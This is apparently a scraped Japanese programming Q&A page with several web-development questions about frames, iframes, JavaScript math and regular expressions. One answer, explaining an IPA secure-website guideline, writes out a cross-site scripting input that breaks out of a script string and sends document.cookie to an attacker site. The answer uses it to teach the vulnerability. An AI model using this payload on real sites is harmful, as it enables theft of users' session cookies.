http://b-fac.com/bf_annex/template/08/index.htm

上記のページで、

1. 左フレームが「ブラウザ」のサイズを変えると
それにあわせてサイズが変わるのですが、
これはどのように設定すれば出来るのでしょうか。

2. マウスオーバーすると「花」の色が変わるのですが、
この設定方法もあわせて教えてください。

よろしくお願いいたします。

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aと関連する良く見られている質問

Qhttp://www.skuare.net/test/horizont

http://www.skuare.net/test/horizontinyscrolling.html
上記のサイト様で使用しているjavascriptを使ってデザインを考えています。

上記のサイト様は、メニューとコンテンツが同じフレーム内(階層)にありますが、
これを、メニューとコンテンツを別々のフレームに入れ(コンテンツ部分はインフレームに入れたいです。)、メニューを常に見える状態にしたいです。
(添付画像参照)

上記の状態までは、問題なくページを作れています。
しかし、色々試してはみたのですが、フレームに入れるとなかなかうまく行かず困っています。
どのように直せば良いでしょうか…

どうぞ宜しくお願い致します。

Aベストアンサー

このjavascriptを使って親からiframeコンテンツ内部をスクロール制御するよう
直すのは結構たいへんそうです。

私なら、iframeコンテンツのhtmlの中に、このjavascriptと、
スクロールナビゲーションリンクのタグを非表示で、そのまんま
設置しておいて、


親にも設置したナビゲーションリンクから、iframe内のナビゲーションリンク
をjavascriptで突っつきます。

QMath.sqrt(Math.pow(canvas.width / 2, 2) + Math.pow

どういう意味でしょうか?
・JavaScriptというよりは、数学(平方根とか)の意味がよく分からないのですが、
・累乗した後、平方根を求める?
・何のために?

Math.sqrt(Math.pow(canvas.width / 2, 2) + Math.pow(canvas.height / 2, 2)) | 0;

Aベストアンサー

こんにちは

三平方の定理(ピタゴラスの定理)
幅と高さのそれぞれの2乗の和の平方根を求めているので、対角線の長さを求めていることになります。
ご提示の式では、それぞれ1/2にしているので、結果は対角線の半分の長さになります。
(= 4分割した四角形の対角線)

http://chu.benesse.co.jp/qat/6434_m.html

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

QJavaScriptの正規表現/?<.+?>/について

strからHTMLのタグを取り除いた文字列をxにしまうため
var x=str.replace(/<.+?>/g,"");
を使うそうですが
/<.+?>/g
をなぜ使うのかが分かりません
/<.+>/g
がまずいのは分かりますが・・・・

教えていただければ幸いです

Aベストアンサー

> 私の借りてきた本では「?の定義は直前の0回または1回の繰り返しにマッチ」となっていますが
> この定義からどう解釈すれば ? は、「最短マッチ」の指定になるのでしょうか?

? には2つの用法があり、その1つが「直前のパターンの、0回または1回の繰り返し」と呼ばれているものです。
? が * や + のような“繰り返し指定の直後”についている場合は「最短マッチ」の指定となります。

> 私の借りてきた本では「.は任意の1文字にマッチ」となっていますが
> これは¥nや特殊文字は含まないのでしょうか?

試してみれば分かることですが、. は \n のみマッチしません。
(\t など、他の特殊文字はOK)
内容が間違っている本、説明が不十分である本も結構ありますから、たくさんの本やサイトから情報を集め、自分で正しいものを見つけることが大事です。


このカテゴリの人気Q&Aランキング

おすすめ情報